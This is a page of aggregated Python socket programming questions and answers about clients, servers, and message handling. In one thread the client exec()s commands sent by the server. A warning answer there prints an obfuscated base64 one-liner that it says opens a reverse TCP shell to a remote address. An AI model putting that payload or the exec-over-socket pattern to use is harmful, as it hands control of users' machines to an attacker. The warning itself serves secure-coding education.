Output incoming UDP data to new terminals with Python3.7 on Windows - python

I have a client/server UDP program running on python3.7 on Windows. After establishing a connection, the client listens for incoming data from the server. Each time a client receives data/message (from server), a new terminal should open displaying that message and the client should be able to respond to that message on that terminal. So if a client receives 4 incoming messages from the server, 4 terminals should open with each one displaying their corresponding message.
As of now, my program works just fine but on one terminal.
Could someone please help me? I was able to make a new terminal open for each incoming message with os.system("start cmd") but that's as far as I was able to get. These terminal instances just point to the project's directory with nothing running on them and I understand why, this is just as much 'progress' as I was able to make.
Here is the sample of my code I am referring to :
def clientListen():
while 1:
try:
data, server = client_listen_socket.recvfrom(1024)
if data:
reply = pickle.loads(data)
if str(reply) == 'Connection Successful':
print('\n ~~~ INCOMING MESSAGE FROM ' + str(serverName) + ' ~~~\n') #REPLACE->localhost
print(reply)
clientServerConnectionOutput()
else:
# *OPEN TERMINAL DISPLAYING REPLY*
print('\n ~~~ INCOMING MESSAGE FROM ' + str(serverName) + ' ~~~\n') #REPLACE->localhost
print(reply)
except socket.error:
pass
So each time it receives data, (if data), under the else clause, this is where I want a new terminal to open displaying the reply.
Any help would be greatly appreciated!
Thanks

Related

python sockets not connecting on two different machines

I recently learnt socket library in python. I'm coding a game's multiplayer server but before coding the whole multiplayer server I decided to code a small server just for seeing how a server works in python. When I coded the server it was awkward that my code was working fine when I ran the client and server on my own windows 10 computer , it connected and did it's work(it's work is two get the IP from hostname, but the client will send hostname and the code for getting IP is executed in the server and sent back to the client) but when I shared the client file with my friend then the client and server did not connect, there was no error message or something else, firewall is not blocking any connections, so why aren't they connecting? Here's the code in the server file(The print statements are just for making a loading bar effect):
import socket
from time import sleep
#Default port number: 1234
server=socket.socket()
def run_server(port=1234):
print('Booting server...')
print('|-|-|-',end='')
sleep(0.05)
server.bind(('',port))
print('|-|-|-',end='')
sleep(0.05)
server.listen(5)
print('|-|-|',end='')
sleep(0.05)
print('\nServer is running and can be accessed now\n===============================================')
while True:
c,addr=server.accept()
print('recieved connection from: ',addr)
c.send(bytes("ip=bytes(input('Welcome. Enter hostname to extract ip from: '),'utf-8')",'utf-8'))
c.send(bytes('_socket.send(ip)','utf-8'))
reply=c.recv(1024).decode('utf-8')
try:
ip=socket.gethostbyname(reply)
except:
c.send(bytes('''print("The hostname is either invalid or wasn't found")''','utf-8'))
c.send(bytes('_socket.close()','utf-8'))
continue
c.send(bytes("print('"+ip+"')",'utf-8'))
c.send(bytes('_socket.close()','utf-8'))
run_server()
And the code in the client:
import socket
def run(mode='client'):
_socket=socket.socket()
## if mode=='client':
_socket.connect(('192.168.0.101',1234))
## return True
while True:
command=_socket.recv(1024).decode('utf-8')
exec(command)
## if mode=='server':
## _socket.bind((socket.gethostname(),1234))
## _socket.listen(5)
## while True:
## client,addr=_socket.accept()
## msg=client.recv(1024)
## if msg[-1]!=b'.':
## continue
## else:
## _socket.close()
## break
## return pickle.loads(msg)
while True:
try:
run()
except OSError:
continue
(ignore the commented code, I just kept it so I can copy it in other files when needed)
ADDITIONAL INFO(which I missed before): In the client.py file, you'll see the last few lines are a try and except OSError block. I added this block because I don't know why but when I run the client, I get this error:
Traceback (most recent call last):
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 24, in <module>
run()
File "C:\Users\DEVDHRITI\Desktop\Files&Folders\HMMMMM\python\client.py", line 8, in run
command=_socket.recv(1024).decode('utf-8')
OSError: [WinError 10038] An operation was attempted on something that is not a socket
When I hide this error using the try and except blocks, there's no difference, the client works fine without showing any problems. Does anyone know why is this happening?
An operation was attempted on something that is not a socket usually means that you're attempting to do operations on a closed socket. I haven't run your code, but what I believe is happening is you have your server sending a single command to the client, then instructing the client to close. The client however attempts to accept infinite messages from the server; even after the client's socket has been closed.
Either have the client only accept a single message, or stop having the server tell the client to close itself.
I'd change the client code to something like this:
try:
while True:
command=_socket.recv(1024).decode('utf-8')
except KeyboardInterrupt:
_socket.close()
And now the client can press ctrl+c to close itself when it wants to exit.
Also, do not ever use exec like you are; especially without checking what you're about to execute. If the server was ever compromised, or the server owner became malicious, or if you swapped it and had the client send commands to the server, you're opening yourself up to having the machine running exec to become compromised. If the sending end of the socket sent code like this for example:
# Do not run this!
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHNvY2tldCx6bGliLGJhc2U2NCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzE5Mi4xNjguMTIwLjEyOScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoemxpYi5kZWNvbXByZXNzKGJhc2U2NC5iNjRkZWNvZGUoZCkpLHsncyc6c30pCg==')[0]))
This would cause the exec'ing computer to start up a reverse TCP shell, and give control of their computer to the other machine! The other end would then be able to do anything they want on your computer (or, at least whatever they have the access rights to do).
You should never really ever use eval or exec unless it's used in a place where user's code will never enter it. Feeding user input directly into exec is extraordinarily dangerous and should be avoided at all costs.

Socket Programming : how to receive data until a dot is received (Python)

Situation:
I am currently writing a client program with a provided server program
I need to send the command 'READ' and get a bunch of data from server
The server will just keep sending and lastly it will sd a dot
(".")
My task is to display all msg it send out (tgt with the dot)
I can successfully receive everything and displayed.
however i cannot exit the while loop(cannot successfully detect the dot)
Why is that?
Below is my code. thanks!
def READ(mySocket):
op="READ"
clientSocket.send(op.encode())
while(True):
try:
rcvmsg = clientSocket.recv(4096)
print("Server:{} ".format(rcvmsg.decode()))
if (rcvmsg.decode() == "."):
break
except :
print("some error happen" )
sys.exit(1)

Continous receiving & sending on a socket

I'm working on assignment where I need to connect to a server (no details of server are disclosed), capture the reply, modify it and send it back for verification.
I have created following code which does what I need, but the issue is that after 1st correct reply, server sends another.
Code:
# -*- encoding: utf-8 -*-
import socket
from decryptmsg import decryptmsg
from cleanmsg import cleanmsg
#connection
ip="<IP>"
port=4000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip,port))
def recvall(sock):
BUFFER = 8192
data = b''
while True:
part = sock.recv(BUFFER)
data += part
if len(part) < BUFFER:
break
return data
while True:
print "[+] start communication"
data = recvall(sock)
print data
data = cleanmsg(data)
if data != None:
valmis = decryptmsg(str(data))
if valmis == None:
print "[-] no results"
break
else:
print "[+] sending message... "
sock.send(valmis)
continue
When I hit the second question, I get the input captured fine with this code and processed as expected, but when I try to send the 2nd reply back I get error:
Traceback (most recent call last):
File "challenge.py", line 28, in <module>
sock.send(valmis)
socket.error: [Errno 32] Broken pipe
If I do not close or shutdown the socket, no reply is ever sent to server.
How can I tell my client to send the message and wait for reply without socket.shutdown? Or if I need to open new socket for each loop, how should the loop be constructed? The reply from server changes each time so if I open new connection completely and request for data, I get new reply and the process starts from beginning again.
UPDATE:
the issue seems to be when trying to receive the second reply from server, only the first line of message is received by client.
How do you know it does not send anything? I modified your code a bit (there is something odd in the else: clause, I will come back to that later).
import socket
#connection
ip="localhost"
port=4000
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip,port))
while True:
data = sock.recv(8192)
if not data: break;
print data
if data != None:
valmis = data
if valmis == None:
print "[-] no results"
break
else:
print "[+] sending message... "
sock.send(valmis) #this never gets sent without
continue
Basically this is a stripped version of your code - no decrypting or external functionality. It just sends back whatever it receives from the server.
Then I ran a "server" with ncat:
ncat -l 4000
start your program and start typing in lines (1, 2, 3, 4 etc) and this happens at "server". The client promptly echoes my messages back:
test#xyzzy:/tmp$ ncat -l 4000
1
1
2
2
3
3
And this happens at the client:
test#xyzzy:/tmp$ python so.py
1
[+] sending message...
2
[+] sending message...
3
[+] sending message...
To me it looks this code works fine. If the server does not receive your reply, it might be that there is a problem on the server side. It might for example expect a terminator character in the response. Does your cleanmsg clean the message too much and for example remove a trailing newline and the server expects to receive one?
There is a problem in your original else clause as you do another sock.recv() there. Which means after receiving a reply, you block there to wait for the next message from server and when you do receive one, you will continue your loop and hit sock.recv() again. The second message was consumed already in your else clause.
This may be intentional if your server somehow acknowledges your decryption. If your protocol is this:
server -> client (request)
client -> server (decrypted message)
server -> client (some kind of acknowledgement - unclear from your code)
server -> client (request 2)
etc.
Then you have probably hit the issue in Jason's comment. TCP sockets are completely agnostic to the concept of a message. They just transmit data. When your code hits sock.recv(), one of five things can happen:
There is nothing in the socket and the call blocks
There is a full "message" and only that in the socket and you receive that
There is a partial message and you will receive that. Either because the message is over 8192 bytes, or your code just decides to read when the server has only transmitted some of the message data.
There are two or more complete "messages" waiting and you will receive them all.
As four, but the last message is partial
Always when operating with TCP sockets, you must cater for scenarios 2-5. You must parse the data, make sure everything is there, and if not, wait for more. And if there was more than you expected, process them accordingly. If they are complete messages, process them. If the last message is partial, process everything else and wait for more.
If messages seem to "disappear" in a self-made communication protocol using TCP sockets, 99% of the problems are caused by making the assumption that sockets would know or care what is the structure of your "message". A very common mistake is to read your socket empty and ignore everything you received after your first message.
Hope this is helpful. Your code without the additional recv seems to work fine from socket communication perspective - no need to shut down the socket. It may be a server side issue, protocol issue or message parsing problem.
For this reason, always have only one recv call for your socket. Even if you are expecting some kind of an acknowledgement instead of a new message, have only one place where you process socket data. Then do some kind of a conditional there to detect what kind of a message you received and then decide what to do with it.

if not break not working in python server

I have created a client server setup from a tutorial, but the server is stuck in the while loop below and i can't figure out why.
I have searched through the questions on here and as far as I can see it should work.
I'm sure it will be something simple. I'm new to Python so any help would be appreciated.
Please know this is my first question so i hope it works ok.
I'm using python 3.5.2
# create a client thread
def clientthread(conn):
# sending message to the client
message = 'Welcome to the Server. Type something and hit Enter\n'
conn.send(message.encode()) # send only takes a string
while 1:
# receiving from client
data = conn.recv(1024)
if not data.decode(): break
reply = 'OK ' + data.decode()
conn.sendall(reply.encode())
# came out of loop
conn.close()
# keep server up
while 1:
# accept incomming connections
conn, addr = soc.accept()
# display client info
print('Connected with' + addr[0] + ':' + str(addr[1]))
# start a new thread takes function name and a tupal
start_new_thread(clientthread, (conn, ))
soc.close()
Figured out the issue, I was using telnet to test the server and it adds a \r\n to the end which the server see's as data so never shuts down. Added code to check for this and works fine now

Python Socket (Simple server script)

I have this simple server script. My objective for this script is :
Wait for a client connection
Receive massages from client until the client disconnect
Once client disconnect, wait for another client to connect
Receive massages until the client disconnect
Repeat...
import socket
server_socket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
server_socket.bind(("",5000))
server_socket.listen(5)
print "Awaiting Client connection"
client_socket, address =server_socket.accept()
print "Connection established.. with ",address
while True:
data=client_socket.recv(512)
if not data:
client_socket.close()
print "Client disconnected, Awaiting new connections..."
client_socket, address =server_socket.accept()
print "Connection from ",address
else:
print "RECIEVED:",data
My Question is even though the script seems to be working when i test it on a pair of pc, i noticed that after it received the connection from the client, that is line no 7
print "Connection established.. with ",address
the python shell window seems unresponsive (become not responding if i try to move the shell window) until the client send any message.
As far as i understand, if there is no incoming message from client, client_socket.recv(512) will just wait for the data from the client.
But why it became unresponsive?
To make things clearer,
-the script works just fine ( it receive data and print it out from screen & wait for the new connection if client disconnect)
-the cursor in console windows stop blinking
-when i try to move the console window around , it become unresponsive and windows give me a message "this program has stopped responding"
Basically, you script blocks on the accept call that is present after this line :
print "Client disconnected, Awaiting new connections..."
The accept call will return only when a particular client has attempted to connect to server. That is when your script will continue execution to the next line. This is the reason why you would see a message like This program is not responding in Windows.
You could consider the use of non-blocking socket I/O approach in order to ensure that your script is responsive.
Refer to this link for description of blocking and non-blocking calls. Also you can refer to this question to understand how to implement Non-blocking sockets in Python - and of course there are plenty of web resources too.
Hope this helps

Categories